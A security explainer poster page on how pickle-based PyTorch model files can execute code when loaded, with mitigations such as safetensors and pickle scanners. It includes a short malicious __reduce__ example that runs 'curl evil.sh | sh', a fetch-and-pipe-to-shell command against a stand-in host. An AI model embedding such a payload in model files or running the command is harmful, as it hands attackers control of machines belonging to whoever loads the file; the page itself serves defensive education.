Black Friday: the complete AWS Security Bundle, 12 volumes, $99 $49.50 BLACKFRIDAY50 Grab it →
SecurityZines.com Join

Pickle RCE

Malicious Model Weights

AI SecurityFlyer

Pickle RCE (Malicious Model Weights): hand-drawn explainer poster

Malicious Model Weights: how loading a .pt file runs an attacker's code before any inference

Why model files are risky: Many model files, including PyTorch .pt, .bin and .ckpt, are Python pickle files under the hood. Pickle is not just a data format. Loading a pickle can run code, so calling torch.load() on an untrusted file can execute an attacker's program before the model ever does any inference.

The pickle trick: When pickle rebuilds an object, it calls that object's __reduce__ method, which hands back a function and its arguments to call. An attacker writes:

class Evil:
    def __reduce__(self):
        return (os.system, ("curl evil.sh | sh",))

and saves it inside the weights. Deserialize means execute.

How it fires: You download model.pt and call torch.load(). Pickle unpickles it, hits __reduce__, runs os.system, and a reverse shell connects back to the attacker's server. They own your machine, and no inference ever ran. Recent PyTorch (2.6 and later) defaults torch.load to weights_only=True, which blocks this, but older code, explicit overrides and other loaders still unpickle freely.

The supply chain hit: Hugging Face hosts millions of models. An attacker uploads a poisoned one that actually works well, so people keep using it. Security firms including ProtectAI and JFrog have found malicious pickled models like this in the wild.

safetensors saves it: The safetensors format is a JSON header with tensor names, dtypes and shapes, followed by raw tensor bytes. There is no code in it and no code path to execute. It is also zero-copy and memory-mappable, so it is both fast and safe. Use safetensors by default, scan pickles with tools like picklescan or ModelScan, load unknown models in a sandbox, and verify hashes.

More on AI Security

All 15

Get the next one by email

New posters land in the Security Zines newsletter on Substack. Free, no spam.